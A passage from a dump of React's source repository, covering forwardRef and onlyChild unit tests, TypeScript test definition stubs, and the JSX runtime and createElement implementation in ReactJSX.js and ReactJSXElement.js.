**)\\n' +\n        '    in Inner (at **)',\n    ]);\n  });\n\n  it('should use the inner name in the stack', async () => {\n    const fn = (props, ref) => {\n      return [<span />];\n    };\n    Object.defineProperty(fn, 'name', {value: 'Inner'});\n    const RefForwardingComponent = React.forwardRef(fn);\n    ReactNoop.render(\n      <p>\n        <RefForwardingComponent />\n      </p>,\n    );\n    await waitForAll([]);\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop.' +\n        '\\n\\nCheck the top-level render call using <ForwardRef(Inner)>. It was passed a child from ForwardRef(Inner). ' +\n        'See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in span (at **)\\n' +\n        '    in Inner (at **)',\n    ]);\n  });\n\n  it('can use the outer displayName in the stack', async () => {\n    const RefForwardingComponent = React.forwardRef((props, ref) => {\n      return [<span />];\n    });\n    RefForwardingComponent.displayName = 'Outer';\n    ReactNoop.render(\n      <p>\n        <RefForwardingComponent />\n      </p>,\n    );\n    await waitForAll([]);\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop.' +\n        '\\n\\nCheck the top-level render call using <Outer>. It was passed a child from Outer. ' +\n        'See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in span (at **)\\n' +\n        '    in Outer (at **)',\n    ]);\n  });\n\n  it('should prefer the inner name to the outer displayName in the stack', async () => {\n    const fn = (props, ref) => {\n      return [<span />];\n    };\n    Object.defineProperty(fn, 'name', {value: 'Inner'});\n    const RefForwardingComponent = React.forwardRef(fn);\n    RefForwardingComponent.displayName = 'Outer';\n    ReactNoop.render(\n      <p>\n        <RefForwardingComponent />\n      </p>,\n    );\n    await waitForAll([]);\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop.' +\n        '\\n\\nCheck the top-level render call using <Outer>. It was passed a child from Outer. ' +\n        'See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in span (at **)\\n' +\n        '    in Inner (at **)',\n    ]);\n  });\n\n  it('should not bailout if forwardRef is not wrapped in memo', async () => {\n    const Component = props => <div {...props} />;\n\n    let renderCount = 0;\n\n    const RefForwardingComponent = React.forwardRef((props, ref) => {\n      renderCount++;\n      return <Component {...props} forwardedRef={ref} />;\n    });\n\n    const ref = React.createRef();\n\n    ReactNoop.render(<RefForwardingComponent ref={ref} optional=\"foo\" />);\n    await waitForAll([]);\n    expect(renderCount).toBe(1);\n\n    ReactNoop.render(<RefForwardingComponent ref={ref} optional=\"foo\" />);\n    await waitForAll([]);\n    expect(renderCount).toBe(2);\n  });\n\n  it('should bailout if forwardRef is wrapped in memo', async () => {\n    const Component = props => <div ref={props.forwardedRef} />;\n\n    let renderCount = 0;\n\n    const RefForwardingComponent = React.memo(\n      React.forwardRef((props, ref) => {\n        renderCount++;\n        return <Component {...props} forwardedRef={ref} />;\n      }),\n    );\n\n    const ref = React.createRef();\n\n    ReactNoop.render(<RefForwardingComponent ref={ref} optional=\"foo\" />);\n    await waitForAll([]);\n    expect(renderCount).toBe(1);\n\n    expect(ref.current.type).toBe('div');\n\n    ReactNoop.render(<RefForwardingComponent ref={ref} optional=\"foo\" />);\n    await waitForAll([]);\n    expect(renderCount).toBe(1);\n\n    const differentRef = React.createRef();\n\n    ReactNoop.render(\n      <RefForwardingComponent ref={differentRef} optional=\"foo\" />,\n    );\n    await waitForAll([]);\n    expect(renderCount).toBe(2);\n\n    expect(ref.current).toBe(null);\n    expect(differentRef.current.type).toBe('div');\n\n    ReactNoop.render(<RefForwardingComponent ref={ref} optional=\"bar\" />);\n    await waitForAll([]);\n    expect(renderCount).toBe(3);\n  });\n\n  it('should custom memo comparisons to compose', async () => {\n    const Component = props => <div ref={props.forwardedRef} />;\n\n    let renderCount = 0;\n\n    const RefForwardingComponent = React.memo(\n      React.forwardRef((props, ref) => {\n        renderCount++;\n        return <Component {...props} forwardedRef={ref} />;\n      }),\n      (o, p) => o.a === p.a && o.b === p.b,\n    );\n\n    const ref = React.createRef();\n\n    ReactNoop.render(<RefForwardingComponent ref={ref} a=\"0\" b=\"0\" c=\"1\" />);\n    await waitForAll([]);\n    expect(renderCount).toBe(1);\n\n    expect(ref.current.type).toBe('div');\n\n    // Changing either a or b rerenders\n    ReactNoop.render(<RefForwardingComponent ref={ref} a=\"0\" b=\"1\" c=\"1\" />);\n    await waitForAll([]);\n    expect(renderCount).toBe(2);\n\n    // Changing c doesn't rerender\n    ReactNoop.render(<RefForwardingComponent ref={ref} a=\"0\" b=\"1\" c=\"2\" />);\n    await waitForAll([]);\n    expect(renderCount).toBe(2);\n\n    const ComposedMemo = React.memo(\n      RefForwardingComponent,\n      (o, p) => o.a === p.a && o.c === p.c,\n    );\n\n    ReactNoop.render(<ComposedMemo ref={ref} a=\"0\" b=\"0\" c=\"0\" />);\n    await waitForAll([]);\n    expect(renderCount).toBe(3);\n\n    // Changing just b no longer updates\n    ReactNoop.render(<ComposedMemo ref={ref} a=\"0\" b=\"1\" c=\"0\" />);\n    await waitForAll([]);\n    expect(renderCount).toBe(3);\n\n    // Changing just a and c updates\n    ReactNoop.render(<ComposedMemo ref={ref} a=\"2\" b=\"2\" c=\"2\" />);\n    await waitForAll([]);\n    expect(renderCount).toBe(4);\n\n    // Changing just c does not update\n    ReactNoop.render(<ComposedMemo ref={ref} a=\"2\" b=\"2\" c=\"3\" />);\n    await waitForAll([]);\n    expect(renderCount).toBe(4);\n\n    // Changing ref still rerenders\n    const differentRef = React.createRef();\n\n    ReactNoop.render(<ComposedMemo ref={differentRef} a=\"2\" b=\"2\" c=\"3\" />);\n    await waitForAll([]);\n    expect(renderCount).toBe(5);\n\n    expect(ref.current).toBe(null);\n    expect(differentRef.current.type).toBe('div');\n  });\n\n  it('warns on forwardRef(memo(...))', () => {\n    React.forwardRef(\n      React.memo((props, ref) => {\n        return null;\n      }),\n    );\n    assertConsoleErrorDev([\n      'forwardRef requires a render function but received a `memo` ' +\n        'component. Instead of forwardRef(memo(...)), use ' +\n        'memo(forwardRef(...)).',\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react/src/__tests__/onlyChild-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\ndescribe('onlyChild', () => {\n  let React;\n  let WrapComponent;\n\n  beforeEach(() => {\n    React = require('react');\n    WrapComponent = class extends React.Component {\n      render() {\n        return (\n          <div>\n            {React.Children.only(this.props.children, this.props.mapFn, this)}\n          </div>\n        );\n      }\n    };\n  });\n\n  it('should fail when passed two children', () => {\n    expect(function () {\n      const instance = (\n        <WrapComponent>\n          <div />\n          <span />\n        </WrapComponent>\n      );\n      React.Children.only(instance.props.children);\n    }).toThrow();\n  });\n\n  it('should fail when passed nully values', () => {\n    expect(function () {\n      const instance = <WrapComponent>{null}</WrapComponent>;\n      React.Children.only(instance.props.children);\n    }).toThrow();\n\n    expect(function () {\n      const instance = <WrapComponent>{undefined}</WrapComponent>;\n      React.Children.only(instance.props.children);\n    }).toThrow();\n  });\n\n  it('should fail when key/value objects', () => {\n    expect(function () {\n      const instance = <WrapComponent>{[<span key=\"abc\" />]}</WrapComponent>;\n      React.Children.only(instance.props.children);\n    }).toThrow();\n  });\n\n  it('should not fail when passed interpolated single child', () => {\n    expect(function () {\n      const instance = <WrapComponent>{<span />}</WrapComponent>;\n      React.Children.only(instance.props.children);\n    }).not.toThrow();\n  });\n\n  it('should return the only child', () => {\n    const instance = (\n      <WrapComponent>\n        <span />\n      </WrapComponent>\n    );\n    expect(React.Children.only(instance.props.children)).toEqual(<span />);\n  });\n});\n"
  },
  {
    "path": "packages/react/src/__tests__/testDefinitions/PropTypes.d.ts",
    "content": "/*!\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n/**\n * TypeScript Definition File for React.\n *\n * Full type definitions are not yet officially supported. These are mostly\n * just helpers for the unit test.\n */\n\ndeclare module 'prop-types' {\n  export let string : any;\n}\n"
  },
  {
    "path": "packages/react/src/__tests__/testDefinitions/React.d.ts",
    "content": "/*!\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n/**\n * TypeScript Definition File for React.\n *\n * Full type definitions are not yet officially supported. These are mostly\n * just helpers for the unit test.\n */\n\ndeclare let global: any;\n\ndeclare module 'react' {\n  export class Component {\n    props: any;\n    state: any;\n    context: any;\n    static name: string;\n    constructor(props?, context?);\n    setState(partial : any, callback ?: any) : void;\n    forceUpdate(callback ?: any) : void;\n  }\n  export let PropTypes : any;\n  export function createElement(tag : any, props ?: any, ...children : any[]) : any\n  export function createRef(): any;\n}\n"
  },
  {
    "path": "packages/react/src/__tests__/testDefinitions/ReactDOM.d.ts",
    "content": "/*!\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n/**\n * TypeScript Definition File for React.\n *\n * Full type definitions are not yet officially supported. These are mostly\n * just helpers for the unit test.\n */\n\ndeclare module 'react-dom' {\n  export function render(element : any, container : any) : any\n  export function unmountComponentAtNode(container : any) : void\n  export function findDOMNode(instance : any) : any\n  export function flushSync(cb : any) : any\n}\n"
  },
  {
    "path": "packages/react/src/__tests__/testDefinitions/ReactDOMClient.d.ts",
    "content": "/*!\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n/**\n * TypeScript Definition File for React.\n *\n * Full type definitions are not yet officially supported. These are mostly\n * just helpers for the unit test.\n */\n\ndeclare module 'react-dom/client' {\n  export function createRoot(container : any, options?: any) : any\n  export function hydrateRoot(container : any, children: any, options?: any) : any\n}\n"
  },
  {
    "path": "packages/react/src/__tests__/testDefinitions/ReactInternalAct.d.ts",
    "content": "/*!\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n/**\n * TypeScript Definition File for React.\n *\n * Full type definitions are not yet officially supported. These are mostly\n * just helpers for the unit test.\n */\n\ndeclare module 'jest-react' {\n  export function act(cb : () => any) : any\n}\n"
  },
  {
    "path": "packages/react/src/jsx/ReactJSX.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nimport {REACT_FRAGMENT_TYPE} from 'shared/ReactSymbols';\nimport {\n  jsxProd,\n  jsxProdSignatureRunningInDevWithDynamicChildren,\n  jsxProdSignatureRunningInDevWithStaticChildren,\n  jsxDEV as _jsxDEV,\n} from './ReactJSXElement';\n\nconst jsx: any = __DEV__\n  ? jsxProdSignatureRunningInDevWithDynamicChildren\n  : jsxProd;\n// we may want to special case jsxs internally to take advantage of static children.\n// for now we can ship identical prod functions\nconst jsxs: any = __DEV__\n  ? jsxProdSignatureRunningInDevWithStaticChildren\n  : jsxProd;\n\nconst jsxDEV: any = __DEV__ ? _jsxDEV : undefined;\n\nexport {REACT_FRAGMENT_TYPE as Fragment, jsx, jsxs, jsxDEV};\n"
  },
  {
    "path": "packages/react/src/jsx/ReactJSXElement.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport getComponentNameFromType from 'shared/getComponentNameFromType';\nimport ReactSharedInternals from 'shared/ReactSharedInternals';\nimport hasOwnProperty from 'shared/hasOwnProperty';\nimport assign from 'shared/assign';\nimport {\n  REACT_ELEMENT_TYPE,\n  REACT_FRAGMENT_TYPE,\n  REACT_LAZY_TYPE,\n  REACT_OPTIMISTIC_KEY,\n} from 'shared/ReactSymbols';\nimport {checkKeyStringCoercion} from 'shared/CheckStringCoercion';\nimport isArray from 'shared/isArray';\nimport {ownerStackLimit, enableOptimisticKey} from 'shared/ReactFeatureFlags';\n\nconst createTask =\n  // eslint-disable-next-line react-internal/no-production-logging\n  __DEV__ && console.createTask\n    ? // eslint-disable-next-line react-internal/no-production-logging\n      console.createTask\n    : () => null;\n\nfunction getTaskName(type) {\n  if (type === REACT_FRAGMENT_TYPE) {\n    return '<>';\n  }\n  if (\n    typeof type === 'object' &&\n    type !== null &&\n    type.$$typeof === REACT_LAZY_TYPE\n  ) {\n    // We don't want to eagerly initialize the initializer in DEV mode so we can't\n    // call it to extract the type so we don't know the type of this component.\n    return '<...>';\n  }\n  try {\n    const name = getComponentNameFromType(type);\n    return name ? '<' + name + '>' : '<...>';\n  } catch (x) {\n    return '<...>';\n  }\n}\n\nfunction getOwner() {\n  if (__DEV__) {\n    const dispatcher = ReactSharedInternals.A;\n    if (dispatcher === null) {\n      return null;\n    }\n    return dispatcher.getOwner();\n  }\n  return null;\n}\n\n// v8 (Chromium, Node.js) defaults to 10\n// SpiderMonkey (Firefox) does not support Error.stackTraceLimit\n// JSC (Safari) defaults to 100\n// The lower the limit, the more likely we'll not reach react_stack_bottom_frame\n// The higher the limit, the slower Error() is when not inspecting with a debugger.\n// When inspecting with a debugger, Error.stackTraceLimit has no impact on Error() performance (in v8).\nconst ownerStackTraceLimit = 10;\n\n/** @noinline */\nfunction UnknownOwner() {\n  /** @noinline */\n  return (() => Error('react-stack-top-frame'))();\n}\nconst createFakeCallStack = {\n  react_stack_bottom_frame: function (callStackForError) {\n    return callStackForError();\n  },\n};\n\nlet specialPropKeyWarningShown;\nlet didWarnAboutElementRef;\nlet didWarnAboutOldJSXRuntime;\nlet unknownOwnerDebugStack;\nlet unknownOwnerDebugTask;\n\nif (__DEV__) {\n  didWarnAboutElementRef = {};\n\n  // We use this technique to trick minifiers to preserve the function name.\n  unknownOwnerDebugStack = createFakeCallStack.react_stack_bottom_frame.bind(\n    createFakeCallStack,\n    UnknownOwner,\n  )();\n  unknownOwnerDebugTask = createTask(getTaskName(UnknownOwner));\n}\n\nfunction hasValidRef(config) {\n  if (__DEV__) {\n    if (hasOwnProperty.call(config, 'ref')) {\n      const getter = Object.getOwnPropertyDescriptor(config, 'ref').get;\n      if (getter && getter.isReactWarning) {\n        return false;\n      }\n    }\n  }\n  return config.ref !== undefined;\n}\n\nfunction hasValidKey(config) {\n  if (__DEV__) {\n    if (hasOwnProperty.call(config, 'key')) {\n      const getter = Object.getOwnPropertyDescriptor(config, 'key').get;\n      if (getter && getter.isReactWarning) {\n        return false;\n      }\n    }\n  }\n  return config.key !== undefined;\n}\n\nfunction defineKeyPropWarningGetter(props, displayName) {\n  if (__DEV__) {\n    const warnAboutAccessingKey = function () {\n      if (!specialPropKeyWarningShown) {\n        specialPropKeyWarningShown = true;\n        console.error(\n          '%s: `key` is not a prop. Trying to access it will result ' +\n            'in `undefined` being returned. If you need to access the same ' +\n            'value within the child component, you should pass it as a different ' +\n            'prop. (https://react.dev/link/special-props)',\n          displayName,\n        );\n      }\n    };\n    warnAboutAccessingKey.isReactWarning = true;\n    Object.defineProperty(props, 'key', {\n      get: warnAboutAccessingKey,\n      configurable: true,\n    });\n  }\n}\n\nfunction elementRefGetterWithDeprecationWarning() {\n  if (__DEV__) {\n    const componentName = getComponentNameFromType(this.type);\n    if (!didWarnAboutElementRef[componentName]) {\n      didWarnAboutElementRef[componentName] = true;\n      console.error(\n        'Accessing element.ref was removed in React 19. ref is now a ' +\n          'regular prop. It will be removed from the JSX Element ' +\n          'type in a future release.',\n      );\n    }\n\n    // An undefined `element.ref` is coerced to `null` for\n    // backwards compatibility.\n    const refProp = this.props.ref;\n    return refProp !== undefined ? refProp : null;\n  }\n}\n\n/**\n * Factory method to create a new React element. This no longer adheres to\n * the class pattern, so do not use new to call it. Also, instanceof check\n * will not work. Instead test $$typeof field against Symbol.for('react.transitional.element') to check\n * if something is a React Element.\n *\n * @internal\n */\nfunction ReactElement(type, key, props, owner, debugStack, debugTask) {\n  // Ignore whatever was passed as the ref argument and treat `props.ref` as\n  // the source of truth. The only thing we use this for is `element.ref`,\n  // which will log a deprecation warning on access. In the next release, we\n  // can remove `element.ref` as well as the `ref` argument.\n  const refProp = props.ref;\n\n  // An undefined `element.ref` is coerced to `null` for\n  // backwards compatibility.\n  const ref = refProp !== undefined ? refProp : null;\n\n  let element;\n  if (__DEV__) {\n    // In dev, make `ref` a non-enumerable property with a warning. It's non-\n    // enumerable so that test matchers and serializers don't access it and\n    // trigger the warning.\n    //\n    // `ref` will be removed from the element completely in a future release.\n    element = {\n      // This tag allows us to uniquely identify this as a React Element\n      $$typeof: REACT_ELEMENT_TYPE,\n\n      // Built-in properties that belong on the element\n      type,\n      key,\n\n      props,\n\n      // Record the component responsible for creating this element.\n      _owner: owner,\n    };\n    if (ref !== null) {\n      Object.defineProperty(element, 'ref', {\n        enumerable: false,\n        get: elementRefGetterWithDeprecationWarning,\n      });\n    } else {\n      // Don't warn on access if a ref is not given. This reduces false\n      // positives in cases where a test serializer uses\n      // getOwnPropertyDescriptors to compare objects, like Jest does, which is\n      // a problem because it bypasses non-enumerability.\n      //\n      // So unfortunately this will trigger a false positive warning in Jest\n      // when the diff is printed:\n      //\n      //   expect(<div ref={ref} />).toEqual(<span ref={ref} />);\n      //\n      // A bit sketchy, but this is what we've done for the `props.key` and\n      // `props.ref` accessors for years, which implies it will be good enough\n      // for `element.ref`, too. Let's see if anyone complains.\n      Object.defineProperty(element, 'ref', {\n        enumerable: false,\n        value: null,\n      });\n    }\n  } else {\n    // In prod, `ref` is a regular property and _owner doesn't exist.\n    element = {\n      // This tag allows us to uniquely identify this as a React Element\n      $$typeof: REACT_ELEMENT_TYPE,\n\n      // Built-in properties that belong on the element\n      type,\n      key,\n      ref,\n\n      props,\n    };\n  }\n\n  if (__DEV__) {\n    // The validation flag is currently mutative. We put it on\n    // an external backing store so that we can freeze the whole object.\n    // This can be replaced with a WeakMap once they are implemented in\n    // commonly used development environments.\n    element._store = {};\n\n    // To make comparing ReactElements easier for testing purposes, we make\n    // the validation flag non-enumerable (where possible, which should\n    // include every environment we run tests in), so the test framework\n    // ignores it.\n    Object.defineProperty(element._store, 'validated', {\n      configurable: false,\n      enumerable: false,\n      writable: true,\n      value: 0,\n    });\n    // debugInfo contains Server Component debug information.\n    Object.defineProperty(element, '_debugInfo', {\n      configurable: false,\n      enumerable: false,\n      writable: true,\n      value: null,\n    });\n    Object.defineProperty(element, '_debugStack', {\n      configurable: false,\n      enumerable: false,\n      writable: true,\n      value: debugStack,\n    });\n    Object.defineProperty(element, '_debugTask', {\n      configurable: false,\n      enumerable: false,\n      writable: true,\n      value: debugTask,\n    });\n    if (Object.freeze) {\n      Object.freeze(element.props);\n      Object.freeze(element);\n    }\n  }\n\n  return element;\n}\n\n/**\n * https://github.com/reactjs/rfcs/pull/107\n * @param {*} type\n * @param {object} props\n * @param {string} key\n */\nexport function jsxProd(type, config, maybeKey) {\n  let key = null;\n\n  // Currently, key can be spread in as a prop. This causes a potential\n  // issue if key is also explicitly declared (ie. <div {...props} key=\"Hi\" />\n  // or <div key=\"Hi\" {...props} /> ). We want to deprecate key spread,\n  // but as an intermediary step, we will use jsxDEV for everything except\n  // <div {...props} key=\"Hi\" />, because we aren't currently able to tell if\n  // key is explicitly declared to be undefined or not.\n  if (maybeKey !== undefined) {\n    if (enableOptimisticKey && maybeKey === REACT_OPTIMISTIC_KEY) {\n      key = REACT_OPTIMISTIC_KEY;\n    } else {\n      if (__DEV__) {\n        checkKeyStringCoercion(maybeKey);\n      }\n      key = '' + maybeKey;\n    }\n  }\n\n  if (hasValidKey(config)) {\n    if (enableOptimisticKey && maybeKey === REACT_OPTIMISTIC_KEY) {\n      key = REACT_OPTIMISTIC_KEY;\n    } else {\n      if (__DEV__) {\n        checkKeyStringCoercion(config.key);\n      }\n      key = '' + config.key;\n    }\n  }\n\n  let props;\n  if (!('key' in config)) {\n    // If key was not spread in, we can reuse the original props object. This\n    // only works for `jsx`, not `createElement`, because `jsx` is a compiler\n    // target and the compiler always passes a new object. For `createElement`,\n    // we can't assume a new object is passed every time because it can be\n    // called manually.\n    //\n    // Spreading key is a warning in dev. In a future release, we will not\n    // remove a spread key from the props object. (But we'll still warn.) We'll\n    // always pass the object straight through.\n    props = config;\n  } else {\n    // We need to remove reserved props (key, prop, ref). Create a fresh props\n    // object and copy over all the non-reserved props. We don't use `delete`\n    // because in V8 it will deopt the object to dictionary mode.\n    props = {};\n    for (const propName in config) {\n      // Skip over reserved prop names\n      if (propName !== 'key') {\n        props[propName] = config[propName];\n      }\n    }\n  }\n\n  return ReactElement(type, key, props, getOwner(), undefined, undefined);\n}\n\n// While `jsxDEV` should never be called when running in production, we do\n// support `jsx` and `jsxs` when running in development. This supports the case\n// where a third-party dependency ships code that was compiled for production;\n// we want to still provide warnings in development.\n//\n// So these functions are the _dev_ implementations of the _production_\n// API signatures.\n//\n// Since these functions are dev-only, it's ok to add an indirection here. They\n// only exist to provide different versions of `isStaticChildren`. (We shouldn't\n// use this pattern for the prod versions, though, because it will add an call\n// frame.)\nexport function jsxProdSignatureRunningInDevWithDynamicChildren(\n  type,\n  config,\n  maybeKey,\n) {\n  if (__DEV__) {\n    const isStaticChildren = false;\n    const trackActualOwner =\n      __DEV__ &&\n      ReactSharedInternals.recentlyCreatedOwnerStacks++ < ownerStackLimit;\n    let debugStackDEV = false;\n    if (__DEV__) {\n      if (trackActualOwner) {\n        const previousStackTraceLimit = Error.stackTraceLimit;\n        Error.stackTraceLimit = ownerStackTraceLimit;\n        debugStackDEV = Error('react-stack-top-frame');\n        Error.stackTraceLimit = previousStackTraceLimit;\n      } else {\n        debugStackDEV = unknownOwnerDebugStack;\n      }\n    }\n\n    return jsxDEVImpl(\n      type,\n      config,\n      maybeKey,\n      isStaticChildren,\n      debugStackDEV,\n      __DEV__ &&\n        (trackActualOwner\n          ? createTask(getTaskName(type))\n          : unknownOwnerDebugTask),\n    );\n  }\n}\n\nexport function jsxProdSignatureRunningInDevWithStaticChildren(\n  type,\n  config,\n  maybeKey,\n) {\n  if (__DEV__) {\n    const isStaticChildren = true;\n    const trackActualOwner =\n      __DEV__ &&\n      ReactSharedInternals.recentlyCreatedOwnerStacks++ < ownerStackLimit;\n    let debugStackDEV = false;\n    if (__DEV__) {\n      if (trackActualOwner) {\n        const previousStackTraceLimit = Error.stackTraceLimit;\n        Error.stackTraceLimit = ownerStackTraceLimit;\n        debugStackDEV = Error('react-stack-top-frame');\n        Error.stackTraceLimit = previousStackTraceLimit;\n      } else {\n        debugStackDEV = unknownOwnerDebugStack;\n      }\n    }\n    return jsxDEVImpl(\n      type,\n      config,\n      maybeKey,\n      isStaticChildren,\n      debugStackDEV,\n      __DEV__ &&\n        (trackActualOwner\n          ? createTask(getTaskName(type))\n          : unknownOwnerDebugTask),\n    );\n  }\n}\n\nconst didWarnAboutKeySpread = {};\n\n/**\n * https://github.com/reactjs/rfcs/pull/107\n * @param {*} type\n * @param {object} props\n * @param {string} key\n */\nexport function jsxDEV(type, config, maybeKey, isStaticChildren) {\n  const trackActualOwner =\n    __DEV__ &&\n    ReactSharedInternals.recentlyCreatedOwnerStacks++ < ownerStackLimit;\n  let debugStackDEV = false;\n  if (__DEV__) {\n    if (trackActualOwner) {\n      const previousStackTraceLimit = Error.stackTraceLimit;\n      Error.stackTraceLimit = ownerStackTraceLimit;\n      debugStackDEV = Error('react-stack-top-frame');\n      Error.stackTraceLimit = previousStackTraceLimit;\n    } else {\n      debugStackDEV = unknownOwnerDebugStack;\n    }\n  }\n  return jsxDEVImpl(\n    type,\n    config,\n    maybeKey,\n    isStaticChildren,\n    debugStackDEV,\n    __DEV__ &&\n      (trackActualOwner\n        ? createTask(getTaskName(type))\n        : unknownOwnerDebugTask),\n  );\n}\n\nfunction jsxDEVImpl(\n  type,\n  config,\n  maybeKey,\n  isStaticChildren,\n  debugStack,\n  debugTask,\n) {\n  if (__DEV__) {\n    // We don't warn for invalid element type here because with owner stacks,\n    // we error in the renderer. The renderer is the only one that knows what\n    // types are valid for this particular renderer so we let it error there.\n\n    // Skip key warning if the type isn't valid since our key validation logic\n    // doesn't expect a non-string/function type and can throw confusing\n    // errors. We don't want exception behavior to differ between dev and\n    // prod. (Rendering will throw with a helpful message and as soon as the\n    // type is fixed, the key warnings will appear.)\n    // With owner stacks, we no longer need the type here so this comment is\n    // no longer true. Which is why we can run this even for invalid types.\n    const children = config.children;\n    if (children !== undefined) {\n      if (isStaticChildren) {\n        if (isArray(children)) {\n          for (let i = 0; i < children.length; i++) {\n            validateChildKeys(children[i]);\n          }\n\n          if (Object.freeze) {\n            Object.freeze(children);\n          }\n        } else {\n          console.error(\n            'React.jsx: Static children should always be an array. ' +\n              'You are likely explicitly calling React.jsxs or React.jsxDEV. ' +\n              'Use the Babel transform instead.',\n          );\n        }\n      } else {\n        validateChildKeys(children);\n      }\n    }\n\n    // Warn about key spread regardless of whether the type is valid.\n    if (hasOwnProperty.call(config, 'key')) {\n      const componentName = getComponentNameFromType(type);\n      const keys = Object.keys(config).filter(k => k !== 'key');\n      const beforeExample =\n        keys.length > 0\n          ? '{key: someKey, ' + keys.join(': ..., ') + ': ...}'\n          : '{key: someKey}';\n      if (!didWarnAboutKeySpread[componentName + beforeExample]) {\n        const afterExample =\n          keys.length > 0 ? '{' + keys.join(': ..., ') + ': ...}' : '{}';\n        console.error(\n          'A props object containing a \"key\" prop is being spread into JSX:\\n' +\n            '  let props = %s;\\n' +\n            '  <%s {...props} />\\n' +\n            'React keys must be passed directly to JSX without using spread:\\n' +\n            '  let props = %s;\\n' +\n            '  <%s key={someKey} {...props} />',\n          beforeExample,\n          componentName,\n          afterExample,\n          componentName,\n        );\n        didWarnAboutKeySpread[componentName + beforeExample] = true;\n      }\n    }\n\n    let key = null;\n\n    // Currently, key can be spread in as a prop. This causes a potential\n    // issue if key is also explicitly declared (ie. <div {...props} key=\"Hi\" />\n    // or <div key=\"Hi\" {...props} /> ). We want to deprecate key spread,\n    // but as an intermediary step, we will use jsxDEV for everything except\n    // <div {...props} key=\"Hi\" />, because we aren't currently able to tell if\n    // key is explicitly declared to be undefined or not.\n    if (maybeKey !== undefined) {\n      if (enableOptimisticKey && maybeKey === REACT_OPTIMISTIC_KEY) {\n        key = REACT_OPTIMISTIC_KEY;\n      } else {\n        if (__DEV__) {\n          checkKeyStringCoercion(maybeKey);\n        }\n        key = '' + maybeKey;\n      }\n    }\n\n    if (hasValidKey(config)) {\n      if (enableOptimisticKey && config.key === REACT_OPTIMISTIC_KEY) {\n        key = REACT_OPTIMISTIC_KEY;\n      } else {\n        if (__DEV__) {\n          checkKeyStringCoercion(config.key);\n        }\n        key = '' + config.key;\n      }\n    }\n\n    let props;\n    if (!('key' in config)) {\n      // If key was not spread in, we can reuse the original props object. This\n      // only works for `jsx`, not `createElement`, because `jsx` is a compiler\n      // target and the compiler always passes a new object. For `createElement`,\n      // we can't assume a new object is passed every time because it can be\n      // called manually.\n      //\n      // Spreading key is a warning in dev. In a future release, we will not\n      // remove a spread key from the props object. (But we'll still warn.) We'll\n      // always pass the object straight through.\n      props = config;\n    } else {\n      // We need to remove reserved props (key, prop, ref). Create a fresh props\n      // object and copy over all the non-reserved props. We don't use `delete`\n      // because in V8 it will deopt the object to dictionary mode.\n      props = {};\n      for (const propName in config) {\n        // Skip over reserved prop names\n        if (propName !== 'key') {\n          props[propName] = config[propName];\n        }\n      }\n    }\n\n    if (key) {\n      const displayName =\n        typeof type === 'function'\n          ? type.displayName || type.name || 'Unknown'\n          : type;\n      defineKeyPropWarningGetter(props, displayName);\n    }\n\n    return ReactElement(type, key, props, getOwner(), debugStack, debugTask);\n  }\n}\n\n/**\n * Create and return a new ReactElement of the given type.\n * See https://reactjs.org/docs/react-api.html#createelement\n */\nexport function createElement(type, config, children) {\n  if (__DEV__) {\n    // We don't warn for invalid element type here because with owner stacks,\n    // we error in the renderer. The renderer is the only one that knows what\n    // types are valid for this particular renderer so we let it error there.\n\n    // Skip key warning if the type isn't valid since our key validation logic\n    // doesn't expect a non-string/function type and can throw confusing\n    // errors. We don't want exception behavior to differ between dev and\n    // prod. (Rendering will throw with a helpful message and as soon as the\n    // type is fixed, the key warnings will appear.)\n    for (let i = 2; i < arguments.length; i++) {\n      validateChildKeys(arguments[i]);\n    }\n\n    // Unlike the jsx() runtime, createElement() doesn't warn about key spread.\n  }\n\n  let propName;\n\n  // Reserved names are extracted\n  const props = {};\n\n  let key = null;\n\n  if (config != null) {\n    if (__DEV__) {\n      if (\n        !didWarnAboutOldJSXRuntime &&\n        '__self' in config &&\n        // Do not assume this is the result of an oudated JSX transform if key\n        // is present, because the modern JSX transform sometimes outputs\n        // createElement to preserve precedence between a static key and a\n        // spread key. To avoid false positive warnings, we never warn if\n        // there's a key.\n        !('key' in config)\n      ) {\n        didWarnAboutOldJSXRuntime = true;\n        console.warn(\n          'Your app (or one of its dependencies) is using an outdated JSX ' +\n            'transform. Update to the modern JSX transform for ' +\n            'faster performance: https://react.dev/link/new-jsx-transform',\n        );\n      }\n    }\n\n    if (hasValidKey(config)) {\n      if (enableOptimisticKey && config.key === REACT_OPTIMISTIC_KEY) {\n        key = REACT_OPTIMISTIC_KEY;\n      } else {\n        if (__DEV__) {\n          checkKeyStringCoercion(config.key);\n        }\n        key = '' + config.key;\n      }\n    }\n\n    // Remaining properties are added to a new props object\n    for (propName in config) {\n      if (\n        hasOwnProperty.call(config, propName) &&\n        // Skip over reserved prop names\n        propName !== 'key' &&\n        // Even though we don't use these anymore in the runtime, we don't want\n        // them to appear as props, so in createElement we filter them out.\n        // We don't have to do this in the 